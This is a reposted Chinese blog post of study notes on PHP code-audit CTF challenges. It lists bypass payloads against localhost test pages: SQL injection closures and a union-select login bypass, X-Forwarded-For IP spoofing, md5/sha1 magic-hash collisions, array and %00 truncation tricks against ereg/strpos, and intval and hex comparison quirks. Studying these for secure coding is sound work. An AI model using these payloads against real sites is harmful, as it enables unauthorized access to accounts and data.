php代码审计分段学习(php_bug)[2]

转载

weixin_33701564 于 2018-03-12 18:45:00 发布 65 收藏
文章标签： php
原文链接：https://yq.aliyun.com/articles/654404

参考：https://github.com/bowu678/php_bugs

11.sql闭合绕过

$sql = "select user from php where (user='$user') and (pw='$pass')";嗯好吧这个不就是sqli-labs的Less-3么，放下writeup好了http://localhost/php_bug/11.php/?user=admin')#

12.X-Forwarded-For绕过指定IP地址
if ($GetIPs=="1.1.1.1"){
echo "Great! Key is **********";}，直接bp抓包，在http头里面加上X-Forwarded-For:1.1.1.1就行了,X-Forwarded-For代表客户端，里面存放的是HTTP端请求的真实ip。

13.md5加密相等绕过
$a != 'QNKCDZO' && $md51 == $md52，两个字符串不相等但是md5后的值相等，记下writeup。
var_dump(md5('240610708') == md5('QNKCDZO'));//ture
var_dump(md5('aabg7XSs') == md5('aabC9RqS'));//ture
var_dump(sha1('aaroZmOk') == sha1('aaK1STfY'));//ture
var_dump(sha1('aaO8zKZF') == sha1('aa3OFF9m'));//ture
var_dump('0010e2' == '1e3');//ture
var_dump('0x1234Ab' == '1193131');//ture
var_dump('0xABCdef' == ' 0xABCdef');//ture
==对比的时候会进行数据转换，0eXXXXXXXXX就成0了，如果比较一个数字和字符串或者比较涉及到数字内容的字符串，则字符串会被转换为数值并且比较按照数值来进行，嗯还是用===好一些，尽量不要用==。

14.intval函数四舍五入
emmmm,这个函数。。。先是查询的时候intval($_GET['id'])为1024，但是$_GET['id']又不能为1024，直接1024.325加个小数点就行了。。intval会自动将小数点后面的数值舍掉

15 strpos数组绕过NULL与ereg正则%00截断
@ereg ("^[1-9]+$", $_GET['nctf']
strpos ($_GET['nctf'], '#biubiubiu')
①.这个是要求输入的内容必须为纯数字，但是还有出现#biubiubiu的内容，eregde%00截断可以实现，但是题目上给的#需要url编码一下，要不实现不了。http://localhost/php_bug/15.php?nctf=12414%00%23biubiubiu
②.strpos()找的是字符串,那么传一个数组给它,strpos()出错返回null,null!==false,符合要求. 所以输入nctf[]=,ereg()在出错时返回的也是null,null!==falsehttp://localhost/php_bug/15.php?nctf[]=

16.SQL注入or绕过
$query='SELECT * FROM interest WHERE uname='.$username.' AND pwd='.$password.';';
$query='SELECT * FROM users WHERE name="admin" AND pass="or 1 #";';
?username=admin" AND pass="or 1 #&password=
有点传说中的花式闭合的感觉。。

17.密码md5比较绕过
总感觉眼熟，emmm和第九个是一样的。。。
?user=' union select '202cb962ac59075b964b07152d234b70' #&pass=123

18.md5()函数===使用数组绕过
$_GET['username'] == $_GET['password']
md5($_GET['username']) === md5($_GET['password'])
http://localhost/php_bug/18.php?username[]=1&password[]=2，前面已经在sha1()函数比较绕过这个里面详细说过了，，基本同样道理，这里就不多做描述了。

19 ereg()函数strpos() 函数用数组返回NULL绕过
ereg ("^[a-zA-Z0-9]+$", $_GET['password'])
strpos ($_GET['password'], '--')
emm这个和15是一样的只是ereg()的这个函数现在要求的是只能出现字母和数字，依旧是两种方法
http://localhost/php_bug/19.php?password[]=
http://localhost/php_bug/19.php?password=12a%00--

1. 十六进制与数字比较
   ($digit >= $one) && ($digit <= $nine)
   $number == $temp
   这个题的要求是输入的数字不能是1~9的数字，但是又要与3735929054相等，转化为16进制
   http://localhost/php_bug/20.php?password=0xdeadc0de
   54975581388转换成16进制为ccccccccc